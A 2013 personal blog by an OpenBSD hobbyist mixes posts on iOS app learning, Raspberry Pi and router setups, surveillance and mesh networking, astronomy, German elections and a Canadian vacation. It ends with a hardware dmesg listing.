Hong Kong VPS rocks yesterday I renewed it for another year until September
2014, which will be just shy of seeing this fibre go into production, if I
renew again though it'll rock.
Success! I ran an app on my iPod
June 11th, 2013
I have been creating apps since last year. All of these were from examples
found on youtube. So then I finally got around my provisioning problems at
Apple and ran one app on my ipod. Now I know that it works I'm going to be
switching to one of my books for creating IOS apps. There is a steep learning
curve to master. But it'll be fun as I can run the code on my ipod now and
play with it. I have also ordered 3 more books in a discounted deal from
amazon.com. When I get them I'll released their names. But they deal with
IOS 6. I know, I know IOS 7 will be out soon but when it does come out I'll
be buying IOS 7 books too.
So what sort of app do I want to build for download in the app store? Hmm.
Well I had thought about building an app that doubles as a mouse pointer for
a computer. Basically you connect to the computer with wifi, network or
bluetooth and enter a password, then whatever you move over the ipod's glass
surface gets translated on the computers X11 display. It will need a custom
X11 mouse driver as well, which shouldn't be too hard I believe as sourcecode
for other mouse drivers exists. Once this project is finished I want to
start building the interface for a virtual ipod (in virtual reality). So that
you can have goggles on and have an ipod which you see in VR space. You also
see Apps on this Ipod that don't exists in reality but moving your finger
along the surface causes movement in the virtual reality and you can tap it
and it will respond and such. That's phase two, but I'm only focusing on
phase one right now.
FAAC compiles into ffmpeg on OpenBSD
June 11th, 2013
I wanted to do
this.
So I patched ffmpeg in the ports on OpenBSD like so after installing
/usr/ports/audio/faac...
Now I can finally convert my AVI's on my Mac too. See if this one
works for you on a Mac...
Vlog #4, just a test
June 12th, 2013
Just a test, but if it works for you on all browsers that'd be wicked.
Vlog #5 Got 3 books on IOS development
June 14th, 2013
Don't let my expression fool you. I'm very satisfied. It's just that I've
been in a grumpy mood for the last two days so I don't look all that happy.
The video was recorded on OpenBSD with my webcam, I reworked the audio with
audacity on OpenBSD and converted both videos with ffmpeg from avi into their
respective formats. To get the .m4v format you have to recompile ffmpeg on
OpenBSD though. I'm considering doing a lot more video blog entries so you
may as well get used to it, plus it may make it harder for the NSA to gain
anything useful.
A german Google? Will the market allow it?
June 16th, 2013
I once programmed a web bot that would grab the index of random IP's out there.
After running it a few days, I got a not-so-nice email from my german VPS
provider that I was running malware, a certain virus. And they asked me to
do something / stop. So my initial attempts failed at becoming a search
engine. Now then in the german spiegel.de website someone has quoted the
german interior ministers as saying they want a german Google to keep
information local (and possibly also have the local three letter organisation
spy on the data). They did say that the markets won't allow it in spiegel.
And I think they are right, due to my previous attempts of running a bot.
Now if they are serious they'll have to open the Internet in terms of freedoms.
Google only succeeded to become the #1 search engine because they could do
anything they wanted, ranging from 1) doing anything they wanted with their
web crawlers (googlebot), 2) doing anything technically possible with network
technologies (BGP, IX's), 3) getting a googol worth of funding. There is
possibly more that I'm not listing here. I believe I have some (little) insider
knowledge (to online advertising) because I worked for a competitor to
doubleclick which is now a
part of google. Back then we thought about how we could collect as much data
as possible to help us target advertising to respective people. We brainstormed
a lot and tried to get access to these technologies. One find we had was that
in internal IP data the BGP Autonomous System number was valuable to correlate
where someone was. But it was not easy getting a BGP link, in fact to get there
you have to be reasonably large and have cooperation of carriers to provide the
redundant links to one. We weren't big enough and only had a single link to
UUnet.ca, and hosted at Tier 2+3 providers. I believe because we could not
make that curve that the company I worked for went out of business.
Back to my initial webcrawler. I developed technology to crawl websites. I
used this technology but was probhibited by administrative rules. Had I been
able to continue I may have been able to make a business out of this. Slowly
growing (had I wanted to do that) and perhaps gaining value beyond runnign the
crawler on a VPS, perhaps a dedicated server next, then a colo, and then my
own network. The dream had endless possibilities at its inception and was
cut short by the markets (prohibitative administrative rules). Had I been
able to continue who knows what would have happened. Given no resistance
the possibilities are a Googool (10^100)!
Northern Solstice in 3 days
June 18th, 2013
I usually give out the
solstice and equinoxes a
few days before. So the
northern solstice is upon us again. This is when the sun is at 90 degrees
with the northern
tropic,
tropic of cancer. This means summer in the
northern hemisphere (officially), and winter in the southern hemisphere.
Can you imagine snowfall in the patagonia region of south america? I can't
because summer is here in europe, but it may be true.
After the sun reaches the tropic of cancer it turns around southward again,
until it crosses the equator, that's officially the southbound equinox also
called autumn equinox and will be the first day of fall in the northern
hemisphere.
Some video about Wildcarddnsd
June 18th, 2013
This was really hard to do for me, considering there was hardly a script.
The moon last night
June 20th, 2013
From my balcony, but I was shaking the camera unfortunately...
Sunny Solstice
June 21st, 2013
Ever wonder where the sun is (constellation) when it's northern solstice?
Look how Jupiter is occulted by the sun. Not sure if it's the right term but
does that mean it's at opposition? I thought this fact was special. Jupiter
behind sun at solstice, both in the constellation of Taurus almost in Gemini.
Can you feel their gravity pulling on you?
What government should do
June 23th, 2013
Governments outside of the so-called five eyes nations are outraged over the
prism and tempora sniffing programmes. However you can't change a dumb user
to not encrypt, in fact it's hard to encrypt for most people. I'm afraid
there is no easy way, but perhaps the fabric of the Internet can be re-woven
in such a way that prism and tempora have a harder time gaining data. Let's
pretend government said "we want you to use P2P protocols" and really
encourages it. With P2P a lot of data is moved and it goes in all directions.
I believe it would be a good initiative when you can't use encryption. Other
than that perhaps develop Operating Systems and crypto systems outside of the
USA and Britain in order to offset the current status quo. Also the structure
of the Internet shouldn't just be a grand trunk with subnets, it should be a
mesh and a mesh of hubs. Think about this last line a bit.
Got a new book
June 25th, 2013
I got this new book called "Absolute OpenBSD: UNIX for the practical paranoid"
by Michael W. Lucas.
The Key Satellites
June 25th, 2013
We should encrypt our private conversations, how do we do that? I believe
quantum encrypted laser links to polar orbiting satellites in low earth orbit
are a good thing. These then communicate to higher geostationary satellites
and vice versa. Whenever the geostationary satellites talk back to the
polar satellites they wait until the beam is at tangent with the curvature
of the earth so that the beam would never hit earth. The transmission
payload would be only AES or similar crypto keys which are then used
symmetrically without assymetric key exchange. I think this is worthwhile
for states such as Germany and german embassies world wide. A VPN to your
embassy would be cool too if you're abroad somewhere in order to make use
of this crypto. This is all a response to the TAT-14 spying.
UFO sighted
June 25th, 2013
I took this picture of an UFO outside my window. It's possibly a weather
balloon judging how it rose into the air. But the shape is somewhat odd.
You can click on the jpg to make it bigger I think. I scaled it 50%.
How everyone's Internet should be like
June 26th, 2013
When I speak to people about how the Internet should be like I liken it to
a spider web.
The spider doesn't create one link but several, as means of redundancy and
stability. So when humans build an Internet usually in its first phases it
looks like this:
o o o o o o o o o o o o o o o
| | | | | | | | | | | | | | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-----(BR)----
In this ASCII drawing you have a trunk and end-users (drawn as "o"). There is
a (BR) (bad router) that the government spies sit at and listen to everyone.
We have to admit it's like this because it is. We are being spied upon and
are making it very easy. But it doesn't have to be like that. We can make
changes...we can work out a spider web between neighbouring houses (end-users).
It would look like this:
As you can see everyone has 2 or more gateways that they use. This is what's
called a "mesh" (and the purple links are its links). The model is just a
small neighbourhood but it should be linked with an entire city like this. The
light blue is gateways to the Internet. The Internet past these gateways should
look like 1 house in this picture as well. The trick is to send packets in
any random direction and the packet will seek its destination any random way.
This requires new routing protocols that make this possible. It requires
investments by neighbours to create the links, and government approval. It
makes spying on the communications of any single person very difficult and
that is its intent. Just we gotta realise this some day and do it.
This is for July 1st
June 26th, 2013
I'm putting this up now so that I don't forget later...
Happy Canada Day! Even though I'm absent from Canada I thought I'd say
peace! Eh!?
Helping the NSA find baby-jesus
June 30th, 2013
Cherries!
July 1st, 2013
These were growing on my parents trees. Nice eh?
Weird Sky, more UFO's?
July 2nd, 2013
Out my Office window there is a spectacular cloud. Only it has jet trails
going in on one end and coming out another. What happened in the cloud?
What I said to myself was "oh that's weird!"... after 5 minutes or so the
jet on the right did not come out of the cloud, and the wind wiped the
jet trails. Suspicous!
Good Engineering will prevent domestic Spying
July 3rd, 2013
Germany has a lack of engineers? Or are the good engineers not being heard?
We should put engineering principles on the table to create an Internet that
is safe from spying even if spying is outlawed. We cannot afford to be
mass surveilled by a higher class of people. Internet
should be fair for everyone. I don't blame the NSA as much as I blame BND.
For them to say "OK we'll stop" is not good enough. We must re-engineer the
entire fabric of the Internet in Germany, to secure everyones privacy.
A Look back from 2001: Has my vision really changed?
July 4th, 2013
Happy US Independence day! Independence day to me, as an observer, stands
for freedom. Freedom and a set of ideals. I recently came across an old
project of mine called daemonium.com. It was to be a start-up ISP, but it
wasn't meant to be. However I'd like to strike parallels to back then and
now. Here is a screenshot from the wayback machine (archive.org).
Feel free to browse in the archive (without pictures) by following
this link. Big on the front page of daemonium.com was the four statements:
Cooperation, Innovation, Privacy, Trust. Daemonium's concept was very simple
really. It was to be a DSL ISP but had a twist. It would use wifi to give
people access to their neighbours and route around bad links. If you look
a few articles down from this article you'll find how I think a neighbourhood
should look like. This concept is very similar, but different in the way that
I'd not use wireless today but rather optical links such as improved upon
RONJA. Daemonium's vision to grow into a campus was perhaps wrong but the
rest is right on. Privacy is big in that project. I saw the dangers that
we face today, only Google was not so popular back then, it was Yahoo and
doubleclick instead. Also I foresaw that government would try to mass surveil
people, hence the wifi links with IPSEC that were to give privacy from snoops.
I could go deeper into this but I'd just like to leave the archive to you and
make up your own mind. And I'd like to point out that the biggest change is
a societal one, not that this is big technology. People have to take their
freedom into their own hands and route around dangers that lurk in society,
such as mass surveilance by secret services, police and people in position of
power. I don't see it happening, I see empty handed people, victims of a
digital divide. Perhaps my observance is wrong, and I hope we can get back
to freedom the way it is meant to be. As for me, I'll keep dreaming.
2014, the year of the cable?
July 5th, 2013
PRISM is perhaps at its end. There is 2 non-US cables being laid that isolate
the US entirely. Take a look at the following cables BRICS, ROTACS and
arcticfibre on Greg's Cable Map. BRICS
and ROTAC open Asia to Europe and South America, avoiding the USA. This is
all good for everyone, the US will have more capacity in it's intra-national
fibre all of a sudden, they'll also have less opportunities to spy on this
data. It's also good for UNASUR countries who may want trade with Asia and
don't want the US to know about it. And I believe my route may go through
Moscow before soon to reach Hong Kong, again avoiding US territory.
I'm thinking news of this all will make some people mad and others happy.
Redder Cherries
July 6th, 2013
DSL not working, getting LTE
July 7th, 2013
As you may or may not know, I work remotely over the Internet. So it's a
great problem then, when my sole link to the Internet goes down. And it
has been intermittently down since wednesday. For the past few weeks I've
been trying to get a hold of this shop to get me LTE and I surprisingly got
a hold of him last week. He's got an LTE router and SIM card for me, that
I'll use as a backup link. It'll cost more than my DSL and doesn't have
as much traffic volume, but it's sufficient to give me a few days of DSL
backup. My DSL will be fixed by wednesday my DSL provider m-net told me,
but I can't wait, I gotta make money somehow. So in a way it's a blessing
to be getting an LTE link. I couldn't get a Satellite link which would have
been my first choice, because I don't face south with my apartment. And
cable Internet isn't wanted by my landlord. I do have line of sight to a lot
of people though that do have a southern sky. Any of my neighbours that
are reading want to give me a sat backup? :-)
Got LTE, Internet is stable again
July 9th, 2013
I got LTE finally and configured it to my home network. Everything works
again. Here is the timeline of what I noticed with my network.
Wednesday, June 26th, I noticed massive wifi interference and noise and I
had to move to cable, I dug out my 20 meter cat5 cable and service was
restored my Monday July 1st.
Wednesday, July 3rd, I noticed massive DSL resynchronisations and Internet
became unbearable for me, it took until Saturday to get a ticket opened.
Monday July 8th, got LTE and restored service
Tueday July 9th, moved back to wireless but into the 5Ghz spectrum where
there is no interfering neighbours, in fact it seems around here the 5Ghz
spectrum is entirely vacant, in contrast to the 2.4 Ghz spectrum which has
10 or so AP's on it.
All in all this has been a very stressful week, considering I work remotely
over the Internet, it put strain on operations.
How the Internet should be like (Pt.2)
July 11th, 2013
I don't know where this is, it's somewhere in Africa, but the paths are
an inspiration how the Internet should be like on earth.
Imagine the trails being cat5 cables, now imagine how you could route around
a hut without being seen.
Also more importantly these trails were made by people for the people, and
that's how the Internet should be like too. Forget it being served by
telcos, that only invites spying.
IT Security, SSH timing attack
July 11th, 2013
This
explains a lot. Thanks to Hawson for the link.
This blog now obfuscates all data
July 17th, 2013
I've had some problems with bots from companies that don't honour the
robots.txt file. This exposed my blog to some search engines, not
something I prefer. So I have started to obfuscate my blog with PHP and
javascript. Basically what it does is it creates a random password and
based on that password a random sequence of numbers by hashing the password,
taking the lowest byte and hashing the hash again, taking the lowest byte
and so on. After some processing the lowest bytes make a sequence that is
always the same. So when I apply that sequence of bytes and XOR it to my
blogs contents then a garble will result. It looks like encryption but it's
not it's only obfuscation, but it also makes people who sniff the wire have
a harder time figuring out what's going on. Unless they also use javascript.
AFAIK google bot uses javascript but it also honours robots.txt so we're even
on that. If you're using lynx you can't read this blog anymore unfortunately,
switch to X11/firefox.
Just more preaching about preventing spying...
July 18th, 2013
For the past few weeks everything in the media is about PRISM, NSA and
BND, but I'm gonna talk about the real problem (topologies)
and what I think is a solution, mesh networking...
Oh yes I got a haircut a while ago :P thanks!
Centroid Blog for Lynx readers
July 25th, 2013
http://centroid.eu/public/centroid-blog.sh.txt. I wrote this small shell script for you (and me). It deobfuscates
the blog just like javascript does on graphical browsers, but you only get the
first 10 articles which should be enough. Cheers!
Watched the Big Dipper out my Kitchen Window
July 28th, 2013
The Big Dipper was visible out my kitchen window which faces north tonight.
If I ducked and looked I could see Polaris too. For those that don't know
the Big Dipper is called the
Ursa Major constellation. I came up with the hypothesis that in 6 months
when I look out this window at the same time that
Ursa Major
will be out of
my field of view because of how the window is like. But I should be able to
see Polaris still although I won't be able to identify it.
I asked for a static IP again
August 5th, 2013
I asked my provider (m-net) to bring back
static IP's. They discontinued the static IP's last years 4th quarter or
something and I'm missing it. I want to host my own mail server. I want
to host my own DNS server all on my own hardware. If they don't bring the
static IP's back to customers as an extra option I'm probably going to look
for a new ISP, one that does this. I'M also willing to pay more again.
Purchased a Raspberry Pi mini-computer
August 15th, 2013
I have purchased a raspberry pi. It will arrive here either on saturday or
next week. I have this idea for the Pi. I currently have an open access
point here at home that isn't encrypted. People can send a rate-limited
UDP packet from it but everything is pretty well blocked off. I want to
take a new step forward. I want to completely partition this wifi ap from
the internet and have the raspberry pi run it's soul. I'll be using
wildcarddnsd like before to hijack DNS requests and point them to the Pi.
I'll also put up a message wiki for people to write in. I think it'll
rock. More on this later.
I have compiled a FreeBSD image as found
here. The provided script
worked well except in 2 parts I had to make modifications to my FreeBSD 9.1
VPS in order to compile it. One was the change:
And the other was the fact that the $DTB was not bcm2835-rpi-b.dtb but rather
just rpi.dtb. Other than that the script ran flawlessly.
Wait a minute... not so fast... what changed?
August 16th, 2013
In germany the ruling government has declared the spy affaire to be dead.
A Mr. Pofalla and Mr. Friedrichs who are ministers have voiced that there
is nothing to go on. Nothing to go on? These ministers have admitted to
us that the BND and other german secret services are actively spying on
us. So while the USA may or may not be spying on german citizens the
interior secret services are.
While our hands are tied in the public in terms of doing something
about this right now, this does seem to be a good way to express my
feelings at the vote. I'm voting Pirate Party of Germany because I'm for
transparency and for an Internet that is supported by a political process.
While I hate to write about this whole spy affaire as it really ruins the
good mood my blog used to give me, I think it's necessary to write about
this issue because it affects our freedom. Like Bruce Schneier said that
in the USA the NSA have commandeered the Internet
(
see his blog for that),
I'm drawing similar conclusions here in Germany about the BND. How dare
they attempt to take the Internet away from us! This is a digital coup!
While not literally "taking it away" they are installing facilities in
several places to read Internet traffic, they've in fact taken away the
privacy going on the digital links.
See you at the vote, where my vote will probably not count unless my party
gets over 5% of the vote, which is a grey zone. But you never know.
Got Raspberry Pi, it's running Linux now
August 18th, 2013
I found the FreeBSD Pi image I made still lacked a bit of stability. So I
put Raspbian Wheezy on my Pi. I'll use this pi like I said below. Right
now what's running is a wiki, with apache and mysqld as well as wildcarddnsd
which wildcards the entire Internet's names to one IP. It seems to work
nicely.
If someone goes to "somedomainname.tld" it'll redirect to the
wiki and and give an editable page for Somedomainname.tld. I think it may
be popular around here, if only I knew how to turn the edit history off.
Overall I'm a happy camper.
Ordered a WLAN USB adapter for the Pi
August 23th, 2013
I'd say the Raspberry Pi is a success. I'm taking it a step further now to
replace the Apple Access Point (Apple Extreme 2nd gen.) and I'll make savings
in electricity usage. What I'm doing is getting a USB WLAN adapter from
Edimax which is compatible with my Pi. I'm going to have to run this in
hostap mode somehow, something I haven't figured out on the Pi yet, I'm
sure it'll work though.
Got two books I ordered
August 25th, 2013
I got the following books:
PostgreSQL 9.0 High Performance - Gregory Smith
PostgreSQL 9 Admin Cookbook - Simon Riggs and Hannu Krossing
I'll be reading these in the next little while as I'm interesting in their
Clustering.
Vacationing in Canada next month
August 27th, 2013
I'm going to be in a lot of places, and all over. Ontario, Saskatchewan and
Nunavut (which is way up north). All my flights and train rides have been
purchased and I have a sort of schedule to follow to see all my old friends.
This is my first vacation in 2 years and I haven't been to Canada in a
decade, so this is gonna be a great time.
Will be guest DJ'ing at SVPRadio.COM
August 27th, 2013
On September 25th I'll be guest DJ'ing in the reggae spot (10-11PM EST). I'll
probably also make a guest appearance on the Get Fresh show with DJ Jaz.
I'm really looking forward to this. I've never seen the studio before so
this will be great spending some time with DJ Jaz.
The type of music I'll be DJ'ing will be Reggae. It will consist of the
artists and music that has been with me for the last few years, (mostly on
youtube). I bought a lot of music for this spot.
RadeonDRM on OpenBSD
September 3rd, 2013
OpenBSD hardware with AMD Radeon cards (and Intel HD) have a new video
driver. The driver is still bleeding edge but I was able to upgrade my
OpenBSD-current netbook which has an AMD chip and my first impression
was shock. I was expecting something on the console but nothing appeared.
So I hard-powercycled my netbook and hoped to be seeing something better
the next time around and I was not let down again. The RadeonDRM is really
nice and if you had seen a macppc console before that's how the amd64 netbook's
console now looks like. Here is a link to an undeadly article that talks about the
changes for radeondrm(4). Thank you to Jonathan Gray who programmed this
driver. Also I can now exit X (from startx) and get back to console, I couldn't
do that before on this netbook, this is really nice.
Wildcarddnsd has little new features for BETA8
September 4th, 2013
I'm going on holidays in a bit more than 2 weeks, this
leaves the following month for wildcarddnsd development:
October November
Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
1 2 3 4 5 1 2
6 7 8 9 10 11 12 3 4 5 6 7 8 9
13 14 15 16 17 18 19 10 11 12 13 14 15 16
20 21 22 23 24 25 26 17 18 19 20 21 22 23
27 28 29 30 31 24 25 26 27 28 29 30
On November 29th is W's birthday and I'll try to tag the
tree for that reflecting BETA_8 changes. What changes?
We have a debug mode as found on line 3 of this
markup.
Also I'd like to get some changes in that I needed for compiling
W on the Raspberry Pi other than that I don't think I have time
to do any big changes. What I have attempted to do was
replace the BerkeleyDB as a whole, and replace the parsing with
a YACC parser but that went nowhere as well. I'm interested in
all sorts of help for this daemon as it's getting older and needs
a lot more functionality. Any hackers interested in hacking on
Wildcarddnsd?
OpenSMTPD upgraded on io.solarscale.de
September 5th, 2013
I noticed OpenSMTPD didn't encrypt outbound mails with STARTTLS. Grabbing
a recent snapshot fixed this. Thanks to lynge on #opensmtpd/freenode for
helping.
Just a thought, is Snowden a FUD-Trojan?
September 6th, 2013
A trojan is a piece of payload smuggled into enemy territory. It could be a
message, a program, or where the name comes from a payload of soldiers in a
wooden horse. So then I have to wonder, does anyone ever consider that the
entire Snowden affair has been planted from the NSA all along? FUD stands
for Fear, Uncertainty and Doubt. So is Snowden a FUD-Trojan? Does he spread
fear in all directions and primarily on our beloved Internet? I have
considered it. And I have considered my viewpoint. I'm in no position to
defend that AES is unbreakable. Nor do I understand the mathematics behind
the RSA or Diffie Hellman to a full extend. The NSA has some very bright
mathematicians, some of the best it is said. So what if there is a breakthrough? Naturally if there is a breakthrough we need to know. Because the Internet's
secrets are worth more than the security of the USA. Some things should stay
secret, even from the NSA's eyes is my opinion. At the same time some things
should become open. Like cryptography and it's strength. The Internet is on
a collective downward spiral if cryptography doesn't work. Because somewhere
out there someone has the same formulas as the NSA, and they have a much
fearsome plan I predict.
My public AP is on an Edimax adapter now
September 6th, 2013
I forgot to blog about it. I have put the Edimax EW-7811Un adapter on my
raspberry pi and have gotten rid of the Apple Access Point. There is only
one problem. The range is not as much as the UFO used to give me. I'm not
even sure if anyone is connecting to it anymore. It works in the next room
but not my entire apartment that's how low the range is. Oh well. I'll
keep it running while I'M on vacation perhaps something will come of it.
Good article by Bruce Schneier
September 6th, 2013
The article talks about how engineers have built
the Internet and the need to fix it. Some of those engineers have destroyed the
Internet and gagged themselves in national secrecy.
I wrote about most of this in June/July. Take a look in my blog for those
months. I like the african village paths and that the Internet should be
like this.
What I mostly like to see the Internet evolve to as being in the hands of the
people. I'm not a communist but I believe that a bunch of wires leading to
a fortified address is the wrong way to "share" the Internet with all. We
need a distributed effort in our own hands and we all need to learn how to
network. Don't leave it to just engineers, get everyone involved in some
form. Anyhow good article, we're waking up.
Pre-Ordered OpenBSD 5.4
September 12th, 2013
I have ordered it from OpenBSDEurope again. I wasn't satisfied with the
lateness of Lehmann's last time. This is rockin'! Although the song is
far from rock! It is nice though.
One year of ap.centroid.eu
September 14th, 2013
Also known as moon.virgostar.net, the vps sits in Hong Kong. I registered it
on September 12th last year. While it has been a very reliable computer with
only a few hickups I'm considering moving it next year to Canada. It's nice
to have an asian DNS server but a DNS server alone is not worth 20 bucks a
month. We'll see, perhaps I can get a few friends to chip in on the server
in Canada then I can keep the moon where it belongs..far away like HK.
In 1 year this server did 3 GB of webtraffic for me. Not very much. I can
get that in 1 month on the european vps on a good month.
Southbound Equinox in 7 days
September 15th, 2013
Next Sunday the planet will be at right angles between axis and sun. People
on the equator will have the sun directly overhead.
Pirate Party got 2% in Bavarian election
September 15th, 2013
I did vote for them. And I feel a bit bitter. Anyhow perhaps in 5 years
there'll be another chance for them. It's good however that we got 2% in.
Tomorrow
September 21st, 2013
... is equinox and the federal german election. I'm gonna try voting for the
pirate party. Let's see if the clocks really do tick different in Bavaria
than in the rest of Germany.
e* came and went
September 23th, 2013
Both the equinox and the election (both start with e) came and went. Again
I voted for the Pirate party and we got 2.2% which is not enough for the
pirates to get represented in the Bundestag. I'll give the pirates one more
chance at the european elections but if they strike out (3 strikes) there then
I'm going to possibly vote for someone else next term.
As far as government I'd be happy with a grand coalition or a CDU-Greens
coalition. As I don't think the democratic parties want anything to do
with die Linke (who is the 3rd highest). Anyhow I knew it would come to
this but I didn't know the FDP would be so weak :-), but it's all better
this way anyhow.
I'm not a fan of the "Ueberhangs Mandat" which is a threshold that excludes
parties in parliament which get under 5%. 2.2% is worth around a dozen seats
in parliament so this is sorta undemocratic to prevent small votes.
As far as the impact that the pirates made, perhaps there will be a new
shuffling of parties next election. I'm hoping for more issues based on
the snowden revelations, and more politics regarding the Internet.
SVPRadio appearance came and went
September 26th, 2013
I'm in Toronto, and was on SVPRadio yesterday and it turned out very well.
Perhaps more later, I'm travelling to Saskatchewan soon.
Some pictures from my vacation
October 1st, 2013
I took the VIA train from Toronto to Saskatoon.
First Snowday of the Year
October 9th, 2013
I'm in Iqaluit, Baffin Island, Nunavut, Canada. It's near the arctic circle.
I came here 2 days ago. Yesterday we had a storm with gusts of 100 Km/H go
through which dumped a bit of snow. It is the first snowday in iqaluit of the
year. Temperatures are hovering around 0 degrees Celsius and are expected to
drop a little. Although I do not have pictures at the ready yet I did make
some pictures and I'll be sharing those soon. I'm in good health and spirits
and will be back in the south of Canada in 2 days and back in Germany in
3 days. Weather permitting of course.
I'm home now
October 13th, 2013
My vacation ends tomorrow. I'm home now. Pictures will likely follow tomorrow.
Snowstorm in Nunavut on the 8th of October
October 13th, 2013
In Nunavut the stop signs are different.
This is my friend Aaron.
The snow reduced visibility pretty much...
Donated 150 euros to OpenBSD
October 14th, 2013
It's donation time again, probably the last of this year. I donated 150 euros
to Theo de Raadt. Happy Canadian Thanksgiving!
A Train to Nowhere (Sep. 28th - 30th)
October 14th, 2013
On my second part of my vacation I took the train from Toronto to Saskatoon.
This was in northern Ontario...
The ride in the "Skydome" at sunset...
Before getting to Winnipeg I saw this flock of geese...
Winnipeg...
That was my journey on this train...
Iqaluit, Nunavut (October 7th - 11th)
October 14th, 2013
On my 4th part of my vacation I went to Iqaluit, Nunavut, Canada which is
just south of the arctic circle...
When one gets to Iqaluit this is what they'll see (the lady didn't want her
face online so I edited it out)...
The second day I was there a snowstorm (part of the storm that hit north dakota
a few days earlier) from the south hit us...
Here is a picture of the worker crews in apex restoring power which winds of
100 km/h knocked down...that day there was about 3 power failures despite
Aaron telling me they got a new Diesel power system set up for redundancy..
The next day was nice and we trekked out to the Apex beach where the
arcticfibre.com landing point is
supposed to be..
Here is also the original buildings of the Hudson's Bay company which
was a british trading company...
I felt really good and Aaron made these photos of me..
We went to a museum of Nunavut...
Iqaluit was once a US military base, so there is remnants of it everywhere..
In fact there is radio and satellite equipment everywhere, currently they
get Internet through this.. which will take a backup role once the fibre
is laid..
On our way around we saw these chained sleddogs.. never approach these, they
might rip off a limb of yours...(not kidding!)...
And here is also a river where they get arctic char (sp) a type of fish for
consumption.. the water is good to drink.
That was Iqaluit! I had the best of times there! Thanks and maybe I'll
return for another visit some time soon!
Upgraded my ipod touch to IOS 7
October 14th, 2013
So far it looks pretty good. I hope it retains stability.
Ordered a Soekris
October 15th, 2013
I have ordered a
Soekris 6501-70 router for home. It's
replacing my G4 Cube
which is 12 years old. The Cube wasn't particularily energy efficient and
lacked USB 2.0. I'm getting all that with the new soekris. Also I can write
it off in taxes because I use it for work (it's part of my home network and
an important component of it).
Network Rearrangement in 2 Weeks
October 15th, 2013
On April 25th, 2013 I created
a small network map that detailed how I intend to use my IPSEC tunneling host
over wifi. Well the network has grown. I have Vodafone LTE and M-Net DSL as
my Internet links and Venus (the ordered Soekris) which will help me redo my
network. Here is the updated map:
So what I plan on doing is create 2 rdomain routes (an openbsd thing) from
uranus to venus for 2 gif tunnels. One will go over 5 Ghz and the other over
2.4 Ghz. The routing is decided with OSPF over the gif tunnels and should
fail over when the AREA 0 fails (area 0 will be 5 Ghz tunnel, which is my
preference). From Venus itself the M-Net DSL link will have a static route,
this ensures that I only send through the LTE link when I flip the route
manually, a safe feature since I use 5-10 times as much bandwidth on the DSL
link than the LTE link (that link is backup only). I hope it works out as
I have envisioned it, but it can change minutely or even in big ways.
Deutsche Telekom
October 17th, 2013
The DT made a poll whether users want freedom or
security.
My answer would be, I want freedom, as I'm already using ultra secure platforms
and don't need inhibited functionality of the Internet. But then again I'm not
a DT customer...but let this opinion stand for my ISP's that I'm using!
Got the Soekris
October 19th, 2013
I got the soekris but I won't have time this weekend to install anything on it.
I also don't have pictures yet, those will follow next week some time. I will
name this soekris Venus from now on.
Venus (Soekris router)
October 21st, 2013
Here is a picture of venus:
Here is the dmesg:
OpenBSD 5.3 (GENERIC) #53: Tue Mar 12 18:15:44 MDT 2013
deraadt@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC
real mem = 2146304000 (2046MB)
avail mem = 2066771968 (1971MB)
mainbus0 at root
bios0 at mainbus0
acpi at bios0 not configured
mpbios0 at bios0: Intel MP Specification 1.4
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: Genuine Intel(R) CPU @ 1.60GHz, 1600.22 MHz
cpu0: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,\
CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,DTES64,MWAIT,DS-CPL,\
VMX,EST,TM2,SSSE3,CX16,xTPR,PDCM,MOVBE,NXE,LONG,LAHF,PERF
cpu0: 512KB 64b/line 8-way L2 cache
cpu0: apic clock running at 99MHz
cpu at mainbus0: not configured
mpbios0: bus 0 is type PCI
mpbios0: bus 64 is type ISA
ioapic0 at mainbus0: apid 0 pa 0xfec00000, version 20, 24 pins
cpu0: unknown Enhanced SpeedStep CPU, msr 0x0615101c0600101c
cpu0: using only highest and lowest power states
cpu0: Enhanced SpeedStep 1600 MHz: speeds: 1600, 600 MHz
pci0 at mainbus0 bus 0
pchb0 at pci0 dev 0 function 0 "Intel E600 Host" rev 0x05
pchb1 at pci0 dev 1 function 0 "Intel E600 Config" rev 0x00
ppb0 at pci0 dev 23 function 0 "Intel E600 PCIE" rev 0x00
pci1 at ppb0 bus 1
ppb1 at pci1 dev 0 function 0 "Intel EG20T PCIE" rev 0x01
pci2 at ppb1 bus 2
"Intel EG20T Packet Hub" rev 0x01 at pci2 dev 0 function 0 not configured
"Intel EG20T Ethernet" rev 0x02 at pci2 dev 0 function 1 not configured
"Intel EG20T GPIO" rev 0x01 at pci2 dev 0 function 2 not configured
ohci0 at pci2 dev 2 function 0 "Intel EG20T USB" rev 0x02: apic 0 int 19, version 1.0
ohci1 at pci2 dev 2 function 1 "Intel EG20T USB" rev 0x02: apic 0 int 19, version 1.0
ohci2 at pci2 dev 2 function 2 "Intel EG20T USB" rev 0x02: apic 0 int 19, version 1.0
ehci0 at pci2 dev 2 function 3 "Intel EG20T USB" rev 0x02: apic 0 int 19
usb0 at ehci0: USB revision 2.0
uhub0 at usb0 "Intel EHCI root hub" rev 2.00/1.00 addr 1
"Intel EG20T USB Client" rev 0x02 at pci2 dev 2 function 4 not configured
sdhc0 at pci2 dev 4 function 0 "Intel EG20T SDIO" rev 0x01: apic 0 int 18
sdmmc0 at sdhc0
sdhc1 at pci2 dev 4 function 1 "Intel EG20T SDIO" rev 0x01: apic 0 int 18
sdmmc1 at sdhc1
ahci0 at pci2 dev 6 function 0 "Intel EG20T AHCI" rev 0x02: msi, AHCI 1.1
scsibus0 at ahci0: 32 targets
sd0 at scsibus0 targ 1 lun 0: SCSI3 0/direct fixed naa.500151795931e477
sd0: 76319MB, 512 bytes/sector, 156301488 sectors, thin
ohci3 at pci2 dev 8 function 0 "Intel EG20T USB" rev 0x02: apic 0 int 16, version 1.0
ohci4 at pci2 dev 8 function 1 "Intel EG20T USB" rev 0x02: apic 0 int 16, version 1.0
ohci5 at pci2 dev 8 function 2 "Intel EG20T USB" rev 0x02: apic 0 int 16, version 1.0
ehci1 at pci2 dev 8 function 3 "Intel EG20T USB" rev 0x02: apic 0 int 16
usb1 at ehci1: USB revision 2.0
uhub1 at usb1 "Intel EHCI root hub" rev 2.00/1.00 addr 1
"Intel EG20T DMA" rev 0x00 at pci2 dev 10 function 0 not configured
